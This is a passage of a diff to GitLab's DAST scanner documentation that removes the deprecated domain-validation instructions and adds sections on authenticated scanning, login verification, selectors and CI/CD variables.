-includes actions like modifying and deleting data, submitting forms, and following links.
-Only run an authenticated scan against a test server.
-
### Full scan
DAST can be configured to perform [ZAP Full Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Full-Scan), which
@@ -338,126 +289,6 @@ variables:
If your DAST job exceeds the job timeout and you need to reduce the scan duration, we shared some
tips for optimizing DAST scans in a [blog post](https://about.gitlab.com/blog/2020/08/31/how-to-configure-dast-full-scans-for-complex-web-applications/).
-#### Domain validation
-
-WARNING:
-In GitLab 13.8, domain validation, outside of the new on-demand scan site profile validation, was deprecated. In GitLab 14.0, domain validation in CI/CD jobs will be permanently removed.
-
-The DAST job can be run anywhere, which means you can accidentally hit live web servers
-and potentially damage them. You could even take down your production environment.
-For that reason, you should use domain validation.
-
-Domain validation is not required by default. It can be required by setting the
-[CI/CD variable](#available-variables) `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` to `"true"`.
-
-```yaml
-include:
- - template: DAST.gitlab-ci.yml
-
-variables:
- DAST_FULL_SCAN_ENABLED: "true"
- DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED: "true"
-```
-
-Since ZAP full scan actively attacks the target application, DAST sends a ping
-to the target (normally defined in `DAST_WEBSITE` or `environment_url.txt`) beforehand.
-
-- If `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` is `false` or unset, the scan
- proceeds unless the response to the ping includes a `Gitlab-DAST-Permission`
- header with a value of `deny`.
-- If `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` is `true`, the scan exits
- unless the response to the ping includes a `Gitlab-DAST-Permission` header with
- a value of `allow`.
-
-Here are some examples of adding the `Gitlab-DAST-Permission` header to a response
-in Rails, Django, and Node (with Express).
-
-##### Ruby on Rails
-
-Here's how you would add a
-[custom header in Ruby on Rails](https://guides.rubyonrails.org/action_controller_overview.html#setting-custom-headers):
-
-```ruby
-class DastWebsiteTargetController < ActionController::Base
- def dast_website_target
- response.headers['Gitlab-DAST-Permission'] = 'allow'
-
- head :ok
- end
-end
-```
-
-##### Django
-
-Here's how you would add a
-[custom header in Django](https://docs.djangoproject.com/en/2.2/ref/request-response/#setting-header-fields):
-
-```python
-class DastWebsiteTargetView(View):
- def head(self, *args, **kwargs):
- response = HttpResponse()
- response['Gitlab-Dast-Permission'] = 'allow'
-
- return response
-```
-
-##### Node (with Express)
-
-Here's how you would add a
-[custom header in Node (with Express)](http://expressjs.com/en/5x/api.html#res.append):
-
-```javascript
-app.get('/dast-website-target', function(req, res) {
- res.append('Gitlab-DAST-Permission', 'allow')
- res.send('Respond to DAST ping')
-})
-```
-
-##### Domain validation header via a proxy
-
-It's also possible to add the `Gitlab-DAST-Permission` header via a proxy.
-
-###### NGINX
-
-The following configuration allows NGINX to act as a reverse proxy and add the
-`Gitlab-DAST-Permission` [header](http://nginx.org/en/docs/http/ngx_http_headers_module.html#add_header):
-
-```nginx
-# default.conf
-server {
- listen 80;
- server_name localhost;
-
- location / {
- proxy_pass http://test-application;
- add_header Gitlab-DAST-Permission allow;
- }
-}
-```
-
-###### Apache
-
-Apache can also be used as a [reverse proxy](https://httpd.apache.org/docs/2.4/mod/mod_proxy.html)
-to add the `Gitlab-DAST-Permission` [header](https://httpd.apache.org/docs/current/mod/mod_headers.html).
-
-To do so, add the following lines to `httpd.conf`:
-
-```plaintext
-# httpd.conf
-LoadModule proxy_module modules/mod_proxy.so
-LoadModule proxy_connect_module modules/mod_proxy_connect.so
-LoadModule proxy_http_module modules/mod_proxy_http.so
-
-<VirtualHost *:80>
- ProxyPass "/" "http://test-application.com/"
- ProxyPassReverse "/" "http://test-application.com/"
- Header set Gitlab-DAST-Permission "allow"
-</VirtualHost>
-```
-
-[This snippet](https://gitlab.com/gitlab-org/security-products/dast/snippets/1894732) contains a complete `httpd.conf` file
-configured to act as a remote proxy and add the `Gitlab-DAST-Permission` header.
-
### API scan
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10928) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10.
@@ -661,7 +492,7 @@ is no longer supported. When overriding the template, you must use [`rules`](../
The DAST settings can be changed through CI/CD variables by using the
[`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`.
-These variables are documented in [available variables](#available-variables).
+These variables are documented in [available variables](#available-cicd-variables).
For example:
@@ -677,47 +508,296 @@ variables:
Because the template is [evaluated before](../../../ci/yaml/README.md#include) the pipeline
configuration, the last mention of the variable takes precedence.
-### Available variables
+#### Enabling and disabling rules
+
+A complete list of the rules that DAST uses to scan for vulnerabilities can be
+found in the [ZAP docs](https://www.zaproxy.org/docs/alerts/).
+
+`DAST_EXCLUDE_RULES` disables the rules with the given IDs.
+
+`DAST_ONLY_INCLUDE_RULES` restricts the set of rules used in the scan to
+those with the given IDs.
+
+`DAST_EXCLUDE_RULES` and `DAST_ONLY_INCLUDE_RULES` are mutually exclusive and a
+DAST scan with both configured exits with an error.
+
+By default, several rules are disabled because they either take a long time to
+run or frequently generate false positives. The complete list of disabled rules
+can be found in [exclude_rules.yml](https://gitlab.com/gitlab-org/security-products/dast/-/blob/master/src/config/exclude_rules.yml).
+
+### Hide sensitive information
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36332) in GitLab 13.1.
+
+HTTP request and response headers may contain sensitive information, including cookies and
+authorization credentials. By default, the following headers are masked:
+
+- `Authorization`.
+- `Proxy-Authorization`.
+- `Set-Cookie` (values only).
+- `Cookie` (values only).
+
+Using the [`DAST_MASK_HTTP_HEADERS` CI/CD variable](#available-cicd-variables), you can list the
+headers whose values you want masked. For details on how to mask headers, see
+[Customizing the DAST settings](#customizing-the-dast-settings).
+
+## Authentication
+
+NOTE:
+We highly recommend you configure the scanner to authenticate to the application. If you don't, it cannot check most of the application for security risks, as most
+of your application is likely not accessible without authentication. We also recommend
+you periodically confirm the scanner's authentication is still working, as this tends to break over
+time due to authentication changes to the application.
+
+Create masked CI/CD variables to pass the credentials that DAST uses.
+To create masked variables for the username and password, see [Create a custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables).
+The key of the username variable must be `DAST_USERNAME`,
+and the key of the password variable must be `DAST_PASSWORD`.
+
+After DAST has authenticated with the application, all cookies are collected from the web browser.
+For each cookie a matching session token is created for use by ZAP. This ensures ZAP is recognized
+by the application as correctly authenticated.
+
+Authentication supports single form logins, multi-step login forms, and authenticating to URLs outside of the configured target URL.
+
+Variables that are related to authenticated scans are:
+
+```yaml
+include:
+ - template: DAST.gitlab-ci.yml
+
+dast:
+ variables:
+ DAST_WEBSITE: "https://example.com"
+ DAST_AUTH_URL: "https://login.example.com/"
+ DAST_USERNAME: "admin"
+ DAST_PASSWORD: "P@55w0rd!"
+ DAST_USERNAME_FIELD: "name:username" # a selector describing the element containing the username field at the sign-in HTML form
+ DAST_PASSWORD_FIELD: "id:password" # a selector describing the element containing the password field at the sign-in HTML form
+ DAST_FIRST_SUBMIT_FIELD: "css:button[type='user-submit']" # optional, the selector of the element that when clicked will submit the username form of a multi-page login process
+ DAST_SUBMIT_FIELD: "css:button[type='submit']" # the selector of the element that when clicked will submit the login form or the password form of a multi-page login process
+ DAST_EXCLUDE_URLS: "http://example.com/sign-out" # optional, URLs to skip during the authenticated scan; comma-separated, no spaces in between
+ DAST_AUTH_VERIFICATION_URL: "http://example.com/loggedin_page" # optional, used to verify authentication is successful by expecting this URL once the login form has been submitted
+ DAST_AUTH_VERIFICATION_SELECTOR: "css:.user-profile" # optional, used to verify authentication is successful by expecting a selector to be present on the page once the login form has been submitted
+ DAST_AUTH_VERIFICATION_LOGIN_FORM: "true" # optional, used to verify authentication is successful by ensuring there are no login forms on the page once the login form has been submitted
+ DAST_AUTH_REPORT: "true" # optionally output an authentication debug report
+```
+
+WARNING:
+**NEVER** run an authenticated scan against a production server. When an authenticated
+scan is run, it may perform *any* function that the authenticated user can. This
+includes actions like modifying and deleting data, submitting forms, and following links.
+Only run an authenticated scan against a test server.
+
+### Log in using automatic detection of the login form
+
+By providing a `DAST_USERNAME`, `DAST_PASSWORD`, and `DAST_AUTH_URL`, DAST will attempt to authenticate to the
+target application by locating the login form based on a determination about whether or not the form contains username or password fields.
+
+Automatic detection is "best-effort", and depending on the application being scanned may provide either a resilient login experience or one that fails to authenticate the user.
+
+Login process:
+
+1. The `DAST_AUTH_URL` is loaded into the browser, and any forms on the page are located.
+ 1. If a form contains a username and password field, `DAST_USERNAME` and `DAST_PASSWORD` is inputted into the respective fields, the form submit button is clicked and the user is logged in.
+ 1. If a form contains only a username field, it is assumed that the login form is multi-step.
+ 1. The `DAST_USERNAME` is inputted into the username field and the form submit button is clicked.
+ 1. The subsequent pages loads where it is expected that a form exists and contains a password field. If found, `DAST_PASSWORD` is inputted, form submit button is clicked and the user is logged in.
+
+### Log in using explicit selection of the login form
+
+By providing a `DAST_USERNAME_FIELD`, `DAST_PASSWORD_FIELD`, and `DAST_SUBMIT_FIELD`, in addition to the fields required for automatic login,
+DAST will attempt to authenticate to the target application by locating the login form based on the selectors provided.
+Most applications will benefit from this approach to authentication.
+
+Login process:
+
+1. The `DAST_AUTH_URL` is loaded into the browser, and any forms on the page are located.
+ 1. If the `DAST_FIRST_SUBMIT_FIELD` is not defined, then `DAST_USERNAME` is inputted into `DAST_USERNAME_FIELD`, `DAST_PASSWORD` is inputted into `DAST_PASSWORD_FIELD`, `DAST_SUBMIT_FIELD` is clicked and the user is logged in.
+ 1. If the `DAST_FIRST_SUBMIT_FIELD` is defined, then it is assumed that the login form is multi-step.
+ 1. The `DAST_USERNAME` is inputted into the `DAST_USERNAME_FIELD` field and the `DAST_FIRST_SUBMIT_FIELD` is clicked.
+ 1. The subsequent pages loads where the `DAST_PASSWORD` is inputted into the `DAST_PASSWORD_FIELD` field, the `DAST_SUBMIT_FIELD` is clicked and the user is logged in.
+
+### Verifying successful login
+
+Once the login form has been submitted, DAST determines if the login was successful. Unsuccessful attempts at authentication cause the scan to halt.
+
+Following the submission of the login form, authentication is determined to be unsuccessful when:
+
+- A `400` or `500` series HTTP response status code is returned.
+- A new cookie/browser storage value determined to be sufficiently random has not been set.
+
+In addition to these checks, the user can configure their own verification checks.
+Each of the following checks can be used in conjunction with one another, if none are configured by default the presence of a login form is checked.
+
+#### Verifying based on the URL
+
+When `DAST_AUTH_VERIFICATION_URL` is configured, the URL displayed in the browser tab post login form submission is directly compared to the URL in the CI/CD variable.
+If these are not exactly the same, authentication is deemed to be unsuccessful.
+
+For example:
+
+```yaml
+include:
+ - template: DAST.gitlab-ci.yml
+
+dast:
+ variables:
+ DAST_WEBSITE: "https://example.com"
+ ...
+ DAST_AUTH_VERIFICATION_URL: "https://example.com/user/welcome"
+```
+
+#### Verify based on presence of an element
+
+When `DAST_AUTH_VERIFICATION_SELECTOR` is configured, the page displayed in the browser tab is searched for an element described by the selector in the CI/CD variable.
+If no element is found, authentication is deemed to be unsuccessful.
+
+For example:
+
+```yaml
+include:
+ - template: DAST.gitlab-ci.yml
+
+dast:
+ variables:
+ DAST_WEBSITE: "https://example.com"
+ ...
+ DAST_AUTH_VERIFICATION_SELECTOR: "css:.welcome-user"
+```
+
+#### Verify based on presence of a login form
+
+When `DAST_AUTH_VERIFICATION_LOGIN_FORM` is configured, the page displayed in the browser tab is searched for a form that is detected to be a login form.
+If any such form is found, authentication is deemed to be unsuccessful.
+
+For example:
+
+```yaml
+include:
+ - template: DAST.gitlab-ci.yml
+
+dast:
+ variables:
+ DAST_WEBSITE: "https://example.com"
+ ...
+ DAST_AUTH_VERIFICATION_LOGIN_FORM: "true"
+```
+
+### Configure the authentication debug output
+
+It is often difficult to understand the cause of an authentication failure when running DAST in a CI/CD pipeline.
+To assist users in debugging authentication issues, a debug report can be generated and saved as a job artifact.
+This HTML report contains all steps made during the login process, along with HTTP requests and responses, the Document Object Model (DOM) and screenshots.
+
+![dast-auth-report](img/dast_auth_report.jpg)
+
+An example configuration where the authentication debug report is exported may look like the following:
+
+```yaml
+dast:
+ variables:
+ DAST_WEBSITE: "https://example.com"
+ ...
+ DAST_AUTH_REPORT: "true"
+ artifacts:
+ paths: [gl-dast-debug-auth-report.html]
+```
+
+### Available CI/CD variables
DAST can be [configured](#customizing-the-dast-settings) using CI/CD variables.
-| CI/CD variable | Type | Description |
-|------------------------------| --------|-------------|
-| `SECURE_ANALYZERS_PREFIX` | URL | Set the Docker registry base address from which to download the analyzer. |
-| `DAST_WEBSITE` | URL | The URL of the website to scan. `DAST_API_OPENAPI` must be specified if this is omitted. |
-| `DAST_API_OPENAPI` | URL or string | The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. |
-| `DAST_API_SPECIFICATION` | URL or string | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/290241) in GitLab 13.12 and replaced by `DAST_API_OPENAPI`. To be removed in GitLab 15.0. The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. |
-| `DAST_SPIDER_START_AT_HOST` | boolean | Set to `false` to prevent DAST from resetting the target to its host before scanning. When `true`, non-host targets `http://test.site/some_path` is reset to `http://test.site` before scan. Default: `true`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258805) in GitLab 13.6. |
-| `DAST_AUTH_URL` | URL | The URL of the page containing the sign-in HTML form on the target website. `DAST_USERNAME` and `DAST_PASSWORD` are submitted with the login form to create an authenticated scan. Not supported for API scans. |
-| `DAST_AUTH_VERIFICATION_URL` | URL | A URL only accessible to logged in users that DAST can use to confirm successful authentication. If provided, DAST will exit if it cannot access the URL. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207335) in GitLab 13.8.
-| `DAST_USERNAME` | string | The username to authenticate to in the website. |
-| `DAST_PASSWORD` | string | The password to authenticate to in the website. |
-| `DAST_USERNAME_FIELD` | string | The name of username field at the sign-in HTML form. |
-| `DAST_PASSWORD_FIELD` | string | The name of password field at the sign-in HTML form. |
-| `DAST_SKIP_TARGET_CHECK` | boolean | Set to `true` to prevent DAST from checking that the target is available before scanning. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229067) in GitLab 13.8. |
-| `DAST_MASK_HTTP_HEADERS` | string | Comma-separated list of request and response headers to be masked (GitLab 13.1). Must contain **all** headers to be masked. Refer to [list of headers that are masked by default](#hide-sensitive-information). |
-| `DAST_EXCLUDE_URLS` | URLs | The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. |
-| `DAST_FULL_SCAN_ENABLED` | boolean | Set to `true` to run a [ZAP Full Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Full-Scan) instead of a [ZAP Baseline Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Baseline-Scan). Default: `false` |
-| `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` | boolean | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/293595) in GitLab 13.8, to be removed in 14.0. Set to `true` to require [domain validation](#domain-validation) when running DAST full scans. Not supported for API scans. Default: `false` |
-| `DAST_AUTO_UPDATE_ADDONS` | boolean | ZAP add-ons are pinned to specific versions in the DAST Docker image. Set to `true` to download the latest versions when the scan starts. Default: `false` |
-| `DAST_API_HOST_OVERRIDE` | string | Used to override domains defined in API specification files. Only supported when importing the API specification from a URL. Example: `example.com:8080` |
-| `DAST_EXCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to exclude them from running during the scan. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://github.com/zaproxy/zaproxy/blob/develop/docs/scanners.md). For example, `HTTP Parameter Override` has a rule ID of `10026`. **Note:** In earlier versions of GitLab the excluded rules were executed but alerts they generated were suppressed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118641) in GitLab 12.10. |
-| `DAST_ONLY_INCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to configure the scan to run only them. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://github.com/zaproxy/zaproxy/blob/develop/docs/scanners.md). [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250651) in GitLab 13.12. |
-| `DAST_REQUEST_HEADERS` | string | Set to a comma-separated list of request header names and values. Headers are added to every request made by DAST. For example, `Cache-control: no-cache,User-Agent: DAST/1.0` |
-| `DAST_DEBUG` | boolean | Enable debug message output. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
-| `DAST_SPIDER_MINS` | number | The maximum duration of the spider scan in minutes. Set to `0` for unlimited. Default: One minute, or unlimited when the scan is a full scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
-| `DAST_HTML_REPORT` | string | The filename of the HTML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
-| `DAST_MARKDOWN_REPORT` | string | The filename of the Markdown report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1.|
-| `DAST_XML_REPORT` | string | The filename of the XML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
-| `DAST_INCLUDE_ALPHA_VULNERABILITIES` | boolean | Set to `true` to include alpha passive and active scan rules. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
-| `DAST_USE_AJAX_SPIDER` | boolean | Set to `true` to use the AJAX spider in addition to the traditional spider, useful for crawling sites that require JavaScript. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
-| `DAST_PATHS` | string | Set to a comma-separated list of URLs for DAST to scan. For example, `/page1.html,/category1/page3.html,/page2.html`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in GitLab 13.4. |
-| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. |
-| `DAST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the login form or the password form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. |
-| `DAST_FIRST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the username form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. |
-| `DAST_ZAP_CLI_OPTIONS` | string | ZAP server command-line options. For example, `-Xmx3072m` would set the Java maximum memory allocation pool size. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
-| `DAST_ZAP_LOG_CONFIGURATION` | string | Set to a semicolon-separated list of additional log4j properties for the ZAP Server. For example, `log4j.logger.org.parosproxy.paros.network.HttpSender=DEBUG;log4j.logger.com.crawljax=DEBUG` |
-| `DAST_AUTH_EXCLUDE_URLS` | URLs | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/289959) in GitLab 13.8, to be removed in 14.0, and replaced by `DAST_EXCLUDE_URLS`. The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. |
+| CI/CD variable | Type | Description |
+|:--------------------------------------------|:--------------|:-----------------------------------|
+| `SECURE_ANALYZERS_PREFIX` | URL | Set the Docker registry base address from which to download the analyzer. |
+| `DAST_WEBSITE` (**1**) | URL | The URL of the website to scan. `DAST_API_OPENAPI` must be specified if this is omitted. |
+| `DAST_API_OPENAPI` | URL or string | The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. |
+| `DAST_API_SPECIFICATION` (**1**) | URL or string | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/290241) in GitLab 13.12 and replaced by `DAST_API_OPENAPI`. To be removed in GitLab 15.0. The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. |
+| `DAST_SPIDER_START_AT_HOST` | boolean | Set to `false` to prevent DAST from resetting the target to its host before scanning. When `true`, non-host targets `http://test.site/some_path` is reset to `http://test.site` before scan. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258805) in GitLab 13.6. |
+| `DAST_AUTH_URL` (**1**) | URL | The URL of the page containing the sign-in HTML form on the target website. `DAST_USERNAME` and `DAST_PASSWORD` are submitted with the login form to create an authenticated scan. Not supported for API scans. |
+| `DAST_AUTH_VERIFICATION_URL` (**1**) | URL | A URL only accessible to logged in users that DAST can use to confirm successful authentication. If provided, DAST exits if it cannot access the URL. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207335) in GitLab 13.8. |
+| `DAST_USERNAME` (**1**) | string | The username to enter into the username field on the sign-in HTML form. |
+| `DAST_PASSWORD` (**1**) | string | The password to enter into the password field on the sign-in HTML form. |
+| `DAST_USERNAME_FIELD` (**1**) | selector | A selector describing the username field on the sign-in HTML form. Example: `id:user` |
+| `DAST_PASSWORD_FIELD` (**1**) | selector | A selector describing the password field on the sign-in HTML form. Example: `css:.password-field` |
+| `DAST_SKIP_TARGET_CHECK` | boolean | Set to `true` to prevent DAST from checking that the target is available before scanning. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229067) in GitLab 13.8. |
+| `DAST_MASK_HTTP_HEADERS` | string | Comma-separated list of request and response headers to be masked (GitLab 13.1). Must contain **all** headers to be masked. Refer to [list of headers that are masked by default](#hide-sensitive-information). |
+| `DAST_EXCLUDE_URLS` (**1**) | URLs | The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. |
+| `DAST_FULL_SCAN_ENABLED` (**1**) | boolean | Set to `true` to run a [ZAP Full Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Full-Scan) instead of a [ZAP Baseline Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Baseline-Scan). Default: `false` |
+| `DAST_AUTO_UPDATE_ADDONS` | boolean | ZAP add-ons are pinned to specific versions in the DAST Docker image. Set to `true` to download the latest versions when the scan starts. Default: `false` |
+| `DAST_API_HOST_OVERRIDE` (**1**) | string | Used to override domains defined in API specification files. Only supported when importing the API specification from a URL. Example: `example.com:8080` |
+| `DAST_EXCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to exclude them from running during the scan. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://www.zaproxy.org/docs/alerts/). For example, `HTTP Parameter Override` has a rule ID of `10026`. Cannot be used when `DAST_ONLY_INCLUDE_RULES` is set. **Note:** In earlier versions of GitLab the excluded rules were executed but vulnerabilities they generated were suppressed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118641) in GitLab 12.10. |
+| `DAST_ONLY_INCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to configure the scan to run only them. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://www.zaproxy.org/docs/alerts/). Cannot be used when `DAST_EXCLUDE_RULES` is set. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250651) in GitLab 13.12. |
+| `DAST_REQUEST_HEADERS` (**1**) | string | Set to a comma-separated list of request header names and values. Headers are added to every request made by DAST. For example, `Cache-control: no-cache,User-Agent: DAST/1.0` |
+| `DAST_DEBUG` (**1**) | boolean | Enable debug message output. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
+| `DAST_TARGET_AVAILABILITY_TIMEOUT` (**1**) | number | Time limit in seconds to wait for target availability.
+| `DAST_SPIDER_MINS` (**1**) | number | The maximum duration of the spider scan in minutes. Set to `0` for unlimited. Default: One minute, or unlimited when the scan is a full scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
+| `DAST_HTML_REPORT` | string | The filename of the HTML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
+| `DAST_MARKDOWN_REPORT` | string | The filename of the Markdown report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
+| `DAST_XML_REPORT` | string | The filename of the XML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
+| `DAST_INCLUDE_ALPHA_VULNERABILITIES` | boolean | Set to `true` to include alpha passive and active scan rules. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
+| `DAST_USE_AJAX_SPIDER` (**1**) | boolean | Set to `true` to use the AJAX spider in addition to the traditional spider, useful for crawling sites that require JavaScript. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
+| `DAST_PATHS` | string | Set to a comma-separated list of URLs for DAST to scan. For example, `/page1.html,/category1/page3.html,/page2.html`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in GitLab 13.4. |
+| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. |
+| `DAST_SUBMIT_FIELD` | selector | A selector describing the element that when clicked submits the login form, or the password form of a multi-page login process. Example: `xpath://input[@value='Login']`. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. |
+| `DAST_FIRST_SUBMIT_FIELD` | selector | A selector describing the element that when clicked submits the username form of a multi-page login process. Example: `.submit`. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. |
+| `DAST_ZAP_CLI_OPTIONS` | string | ZAP server command-line options. For example, `-Xmx3072m` would set the Java maximum memory allocation pool size. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
+| `DAST_ZAP_LOG_CONFIGURATION` | string | Set to a semicolon-separated list of additional log4j properties for the ZAP Server. For example, `log4j.logger.org.parosproxy.paros.network.HttpSender=DEBUG;log4j.logger.com.crawljax=DEBUG` |
+| `DAST_AGGREGATE_VULNERABILITIES` | boolean | Vulnerability aggregation is set to `true` by default. To disable this feature and see each vulnerability individually set to `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/254043) in GitLab 14.0. |
+| `DAST_MAX_URLS_PER_VULNERABILITY` | number | The maximum number of URLs reported for a single vulnerability. `DAST_MAX_URLS_PER_VULNERABILITY` is set to `50` by default. To list all the URLs set to `0`. [Introduced](https://gitlab.com/gitlab-org/security-products/dast/-/merge_requests/433) in GitLab 13.12. |
+| `DAST_AUTH_REPORT` | boolean | Used in combination with exporting the `gl-dast-debug-auth-report.html` artifact to aid in debugging authentication issues. |
+| `DAST_AUTH_VERIFICATION_SELECTOR` | selector | Verifies successful authentication by checking for presence of a selector once the login form has been submitted. Example: `css:.user-photo` |
+| `DAST_AUTH_VERIFICATION_LOGIN_FORM` | boolean | Verifies successful authentication by checking for the lack of a login form once the login form has been submitted. |
+
+1. DAST CI/CD variable available to an on-demand scan.
+
+#### Selectors
+
+Selectors are used by CI/CD variables to specify the location of an element displayed on a page in a browser.
+Selectors have the format `type`:`search string`. The crawler will search for the selector using the search string based on the type.
+
+| Selector type | Example | Description |
+| ------------- | ---------------------------------- | ----------- |
+| `css` | `css:.password-field` | Searches for a HTML element having the supplied CSS selector. Selectors should be as specific as possible for performance reasons. |
+| `id` | `id:element` | Searches for an HTML element with the provided element ID. |
+| `name` | `name:element` | Searches for an HTML element with the provided element name. |
+| `xpath` | `xpath://input[@id="my-button"]/a` | Searches for a HTML element with the provided XPath. Note that XPath searches are expected to be less performant than other searches. |
+| None provided | `a.click-me` | Defaults to searching using a CSS selector. |
+
+##### Find selectors with Google Chrome
+
+Chrome DevTools element selector tool is an effective way to find a selector.
+
+1. Open Chrome and navigate to the page where you would like to find a selector, for example, the login page for your site.
+1. Open the `Elements` tab in Chrome DevTools with the keyboard shortcut `Command + Shift + c` in macOS or `Ctrl + Shift + c` in Windows.
+1. Select the `Select an element in the page to select it` tool.
+ ![search-elements](img/dast_auth_browser_scan_search_elements.png)
+1. Select the field on your page that you would like to know the selector for.
+1. Once the tool is active, highlight a field you wish to view the details of.
+ ![highlight](img/dast_auth_browser_scan_highlight.png)
+1. Once highlighted, you can see the element's details, including attributes that would make a good candidate for a selector.
+
+In this example, the `id="user_login"` appears to be a good candidate. You can use this as a selector as the DAST username field by setting `DAST_USERNAME_FIELD: "css:[id=user_login]"`, or more simply, `DAST_USERNAME_FIELD: "id:user_login"`.
+
+##### Choose the right selector
+
+Judicious choice of selector leads to a scan that is resilient to the application changing.
+
+In order of preference, it is recommended to choose as selectors:
+
+- `id` fields. These are generally unique on a page, and rarely change.
+- `name` fields. These are generally unique on a page, and rarely change.
+- `class` values specific to the field, such as the selector `"css:.username"` for the `username` class on the username field.
+- Presence of field specific data attributes, such as the selector, `"css:[data-username]"` when the `data-username` field has any value on the username field.
+- Multiple `class` hierarchy values, such as the selector `"css:.login-form .username"` when there are multiple elements with class `username` but only one nested inside the element with the class `login-form`.
+
+When using selectors to locate specific fields we recommend you avoid searching on:
+
+- Any `id`, `name`, `attribute`, `class` or `value` that is dynamically generated.
+- Generic class names, such as `column-10` and `dark-grey`.
